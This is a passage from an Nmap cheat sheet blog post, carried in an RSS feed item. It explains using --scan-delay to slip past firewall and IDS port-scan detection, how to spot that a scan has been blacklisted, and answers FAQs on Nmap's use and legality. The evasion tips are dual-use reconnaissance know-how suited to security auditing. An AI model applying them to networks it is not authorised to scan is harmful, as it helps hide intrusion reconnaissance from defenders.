&lt;p&gt;An extremely useful option to defeat basic port scan detection (SOHO devices and some IDS) that essentially monitor and block X amount of connects per second (syn flood etc). In short the scan timing can be optimised to allow nmap to bypass firewall detection mechanism.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;--scan-delay&lt;/span&gt; 5s &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;For example if you know you can get away with 2 req/sec without getting blacklisted then  you could use:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;--scan-delay&lt;/span&gt; 1.2&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;em&gt;added 200ms for a buffer&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;nmap-disable-dns-lookups&quot;&gt;Nmap Disable DNS Lookups&lt;/h3&gt;

&lt;p&gt;Assuming you do not want domain names being looked up, use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-n&lt;/code&gt; flag to dissable resolution and speed up the scan.&lt;/p&gt;

&lt;h4 id=&quot;nmap-black-list-detection&quot;&gt;Nmap Black List Detection?&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;It ussally takes and extemely long time to complete&lt;/li&gt;
  &lt;li&gt;Droppped probes nmap will increase the timeout, but it’s likely you are already black listed&lt;/li&gt;
  &lt;li&gt;To confirm, recheck a port that you know was open before&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As far as I know there is no way of detecting for black listing within nmap natively.&lt;/p&gt;

&lt;h3 id=&quot;nmap-optimising-portscans-for-targets&quot;&gt;Nmap Optimising Portscans for Targets&lt;/h3&gt;

&lt;p&gt;Once you have identified a target firewall / IDS you can look up the default settings for the portscan black list by reading the manual and use the nmap command switches above to obtain the best performance without getting black listed.&lt;/p&gt;

&lt;p&gt;If you found this Nmap cheat sheet useful, please share it below.&lt;/p&gt;

&lt;h2 id=&quot;nmap-faq&quot;&gt;Nmap FAQ&lt;/h2&gt;

&lt;h3 id=&quot;what-is-nmap-used-for&quot;&gt;What is Nmap Used for?&lt;/h3&gt;

&lt;p&gt;Nmap (Network Mapper) is a free and open source tool for discovering and auditing networks. 
Many system and network administrators use Nmap to perform network inventories, asset management , manage service updating schedules, and monitor host or service availability.&lt;/p&gt;

&lt;h3 id=&quot;is-nmap-illegal&quot;&gt;Is Nmap Illegal?&lt;/h3&gt;

&lt;p&gt;When used properly, Nmap could help you protect your network from intruders. 
But used inappropriately (e.g., maliciously, and/or without permission from the target), Nmap could (in rare cases) get you sued, fired, expelled, jailed, or banned by your ISP.&lt;/p&gt;

&lt;h3 id=&quot;is-nmap-a-vulnerability-scanner&quot;&gt;Is Nmap a Vulnerability Scanner&lt;/h3&gt;

&lt;p&gt;Nmap is a port scanner or network mapper, the tool identified if a system exists on the network or IP address you provide. However, NSE Scripts then extend the functionality of Nmap by allowing additional host checkes that provide nmap vulnerability scanning functionality to the tool.&lt;/p&gt;

&lt;h3 id=&quot;why-do-hackers-use-nmap&quot;&gt;Why do hackers use Nmap?&lt;/h3&gt;

&lt;p&gt;Attackers or hackers may use Nmap to identify targets and the exposed ports on a target in an effort to idenitfy potential attack surface to perform addtional security testing against.&lt;/p&gt;

&lt;h3 id=&quot;nmap-download&quot;&gt;Nmap Download&lt;/h3&gt;

&lt;p&gt;You can download nmap from &lt;a href=&quot;https://nmap.org/download&quot;&gt;https://nmap.org/download&lt;/a&gt; or a common option would be to install via your Linux distributions package manager or Brew on macos.&lt;/p&gt;

&lt;h3 id=&quot;nmap-scripts-list&quot;&gt;Nmap Scripts List&lt;/h3&gt;

&lt;p&gt;You can find a lot of the current Nmap scripts list at &lt;a href=&quot;https://nmap.org/nsedoc/scripts/&quot;&gt;https://nmap.org/nsedoc/scripts/&lt;/a&gt; this list is actively updated by the Nmap project.&lt;/p&gt;

&lt;h2 id=&quot;document-changelog&quot;&gt;Document Changelog&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Original Post Date:&lt;/strong&gt; 13/12/2023&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Last Updated:&lt;/strong&gt; 10/06/2024 (10th of June 2024)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Author:&lt;/strong&gt; Dhruv Ambaliya&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Checked syntax was current for latest version of Nmap + added additional content.&lt;/li&gt;
&lt;/ul&gt;

&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@type&quot;: &quot;FAQPage&quot;,
  &quot;mainEntity&quot;: [
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;What is Nmap Used for?&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;Nmap (Network Mapper) is a free and open source tool for discovering and auditing networks. Many system and network administrators use Nmap to perform network inventories, asset management, manage service updating schedules, and monitor host or service availability.&quot;
      }
    },
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;Is Nmap Illegal?&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;When used properly, Nmap could help you protect your network from intruders. But used inappropriately (e.g., maliciously, and/or without permission from the target), Nmap could (in rare cases) get you sued, fired, expelled, jailed, or banned by your ISP.&quot;
      }
    },
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;Is Nmap a Vulnerability Scanner?&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;Nmap is a port scanner or network mapper, the tool identifies if a system exists on the network or IP address you provide. However, NSE Scripts then extend the functionality of Nmap by allowing additional host checks that provide Nmap vulnerability scanning functionality to the tool.&quot;
      }
    },
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;Why do hackers use Nmap?&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;Attackers or hackers may use Nmap to identify targets and the exposed ports on a target in an effort to identify potential attack surface to perform additional security testing against.&quot;
      }
    },
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;Nmap Download&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;You can download Nmap from &lt;a href=\&quot;https://nmap.org/download\&quot;&gt;https://nmap.org/download&lt;/a&gt; or a common option would be to install via your Linux distribution&apos;s package manager or Brew on macOS.&quot;
      }
    },
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;Nmap Scripts List&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;You can find a lot of the current Nmap scripts list at &lt;a href=\&quot;https://nmap.org/nsedoc/scripts/\&quot;&gt;https://nmap.org/nsedoc/scripts/&lt;/a&gt; this list is actively updated by the Nmap project.&quot;
      }
    }
  ]
}
&lt;/script&gt;

</description>
        </item>
        
      
    
  </channel>
</rss>
